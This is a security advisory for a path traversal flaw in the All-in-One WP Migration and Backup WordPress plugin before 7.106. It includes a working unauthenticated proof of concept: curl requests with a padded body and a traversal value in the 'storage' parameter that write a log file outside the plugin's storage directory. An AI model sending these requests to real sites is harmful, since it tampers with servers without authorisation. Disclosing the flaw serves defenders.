All-in-One WP Migration and Backup < 7.106 – Unauthenticated Arbitrary-Location Log File Write via Path Traversal | CVE 2026-12898

Description

The plugin does not properly sanitise a user-supplied value before using it to build a file path, allowing unauthenticated attackers to create or append a log file in arbitrary locations outside its intended storage directory.

Proof of Concept

**Prerequisites:** Default install of All-in-One WP Migration (active). No account, no plugin configuration, and no valid secret key required. Reproduces on standard Linux/PHP hosts as well as Windows, because PHP normalises the `..` sequences in the path itself before the filesystem call.

**Step 1 — single unauthenticated request.** The traversal is carried in the `storage` parameter. The body is padded with more parameters than the host's `max_input_vars` (default 1000) so PHP raises an `E_WARNING` at request startup; this makes `error_get_last()` non-null, so the shutdown handler (registered before the secret-key check) performs the write:

```bash
BODY="action=ai1wm_export&secret_key=invalidkey&storage=/../../../../uploads/ai1wm_poc"
for i in $(seq 0 5200); do BODY="$BODY&p$i=1"; done
curl -k -s -o /dev/null --data "$BODY" "https://victim.example/wp-admin/admin-ajax.php"
```

**Step 2 — verify the write (also unauthenticated).** The file is created outside the plugin's `/storage` directory, in the web-served uploads folder:

```bash
curl -k -i "https://victim.example/wp-content/uploads/ai1wm_poc.log"
# HTTP/1.1 200 OK
# Jun 22 2026 11:30:24
# {"type":2,"message":"PHP Request Startup: Input variables exceeded 5000. ...","file":"Unknown","line":0}
```

The path the plugin opens is `.../storage/error-log-/../../../../uploads/ai1wm_poc.log`, which resolves to `.../wp-content/uploads/ai1wm_poc.log`. The number of padding parameters must exceed the host's `max_input_vars`. The written file always ends in `.log` and contains a fixed PHP-error JSON line (the content is not attacker-controlled).